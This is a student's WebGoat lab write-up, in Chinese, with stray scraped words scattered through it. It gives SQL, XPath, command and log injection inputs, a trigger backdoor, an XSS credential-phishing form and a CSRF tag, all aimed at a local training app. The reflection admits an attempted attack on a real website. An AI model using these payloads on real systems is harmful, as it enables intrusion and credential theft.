Exp9 20155218 Web安全基礎實踐

Exp9 Web安全基礎實踐

一、實驗環境配置:

  • 一、在命令行裏執行:java -jar webgoat-container-7.1-exec.jar運行WebGoat,文件夾裏明明有了,可是沒成功;
  • 二、刪了從新導入一次,居然成功了,有時候就是這麼奇怪;
  • 三、而後在瀏覽器中打開http://localhost:8080/WebGoat進入登陸界面,開始實驗:
  • 四、發現mac也能夠作,就選用了mac;具體步驟與linux相符;java

    二、實驗項目:

    (1)、Injection Flaws

    1)、Command Injection

  • 一、使用「檢查」找到相應位置,修改代碼,任何在命令行中使用的命令均可以在這裏輸入;
    node

  • 二、攻擊成功:

    linux

2)、Numeric SQL Injection

  • 一、目標: 嘗試注入一個致使全部天氣數據顯示的SQL字符串。
  • 二、解決方法:使用WebScarab攔截髮布請求,並用101 or 1 = 1替換101!
    web

  • 三、截圖:sql

3) 、 Log Spoofing

  • 一、目標:
    下面的灰色區域表示將在Web服務器的日誌文件中記錄的內容。
    *您的目標是讓它像用戶名「admin」登陸成功。
    經過向日志文件添加腳原本提高攻擊。
  • 二、解決方法:在用戶框裏輸入
xzh%0d%0aLogin Succeeded for username: admin
  • 三、實驗結果:

4)、XPATH Injection

  • 一、目標:下面的表格容許員工看到他們的全部我的數據,包括他們的工資。 您的賬戶是Mike / test123。 您的目標是嘗試查看其餘員工數據。
  • 二、方法:看一下XPATH查詢的構建:
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
  • 三、Xpath注入攻擊本質上和SQL注入攻擊是相似的,都是輸入一些惡意的查詢等代碼字符串,從而對網站進行攻擊。XPath注入攻擊,是指利用XPath 解析器的鬆散輸入和容錯特性,可以在 URL、表單或其它信息上附帶惡意的XPath 查詢代碼,以得到權限信息的訪問權並更改這些信息。XPath注入攻擊是針對Web服務應用新的攻擊方法,它容許攻擊者在事先不知道XPath查詢相關知 識的狀況下,經過XPath查詢獲得一個XML文檔的完整內容。
  • 四、輸入:這個跟sql注入差很少;
    在用戶名和密碼處都輸入
xzh ' or 1=1 or ''= '
  • 五、獲得的計算機解釋:
expression = "/employees/employee[ ( loginID/text()='xzh' or '' ='') and (  passwd/text()='xzh' or ''='' ) ]"
  • 6:截圖:

5)、String SQL Injection

  • 一、直接輸入
' or 1=1 --
  • 二、數據庫

  • 三、這個好簡單,第一次啥也沒參考,一次成功;express

6)、LAB: SQL Injection

1、Stage 1:String SQL Injection
  • 一、目標:使用字符串SQL注入繞過驗證。 使用SQL注入做爲老闆('Neville')登陸而不使用正確的密碼。 驗證Neville的我的資料能夠被查看,而且全部功能均可用(包括搜索,建立和刪除)。
  • 二、嘗試:想修改用戶名,可是沒有成功;看了一下後臺代碼,整理了一下思路,++發現應該是可以成功登錄,可是在跳轉頁面的時候要根據 userid進行跳轉,而個人userid被我改爲了 userid -- 天然也就出錯了++

  • 三、那隻能修改輸入框對輸入的字符長度,並在在密碼框輸入,' or 1 = 1 --
  • 四、成功登錄:

2、Stage 3: Execute SQL Injection to bypass authorization.
  • 一、目標:做爲普通員工'Larry',使用SQL注入到View函數的參數(從List Staff頁面)來查看老闆的簡介('Neville')。
  • 二、用上一步一樣的辦法登錄,而後修改value的值由原來的員工id 101 修改成
101 or 1=1 order by salary desc

因爲老闆的工資最高,最終排序出來的的一個就是老闆
瀏覽器

  • 三、截圖:
  • 四、若是咱們換一個員工id(curly)登錄,僅僅將value值改成
103 or 1=1

天然顯示出了第一個員工(larry)的信息;
安全

7)、Database Backdoors

  • 一、目標:使用字符串SQL注入來執行多個SQL語句。 第一階段使用易受攻擊的字段建立兩條SQL語句。 第一個是系統,第二個徹底是你的。 您的賬戶ID爲101.此頁面容許您查看密碼,ssn和工資。 嘗試注入另外一個更新來更新薪水
  • 二、輸入101; update employee set salary=5218來修改工資;
  • 三、一樣注入一個數據庫後門,
101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155218@qq.com' WHERE userid = NEW.userid

8)Phishing with XSS

  • 一、目標:網站釣魚攻擊:
  • 二、方法:將XSS攻擊代碼插入到搜索字段:
</form><script>function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);}
</script>
<form name="phish"><br><br><HR><H3>
This feature requires account login:</H2><br><br>Enter
Username:<br><input type="text"
name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login"
onclick="hack()">
</form><br><br><HR>
  • 三、輸入信息點擊搜索;攻擊成功

    #### 9)、Stored XSS Attacks
  • 一、目標:在表單輸入字段中放置HTML標籤。
  • 二、在留言板中輸入:
  • 三、打開時,跳出彈框;但xss毫不是僅僅是個彈框;
    服務器

    10)、Cross Site Request Forgery (CSRF)

  • 目標:以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
  • 輸入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">
  • 成功:

    三、實驗體會:

  • 在此次實驗中,我一邊學習網站上的攻擊方式,一邊嘗試攻擊一個網站(故意加了一個基金討論羣,而後果不其然開始推銷他們的東西),可是很遺憾沒有攻擊進去,讓我有點意外,看來我仍是須要繼續學習。而且在作其中的一個實驗的時候,感受這些思路都差很少,就按照本身的思路去作,雖然沒成功,可是找到了失敗的緣由,也算是有收穫了。最後謝謝老師一學期的指導。

相關文章
相關標籤/搜索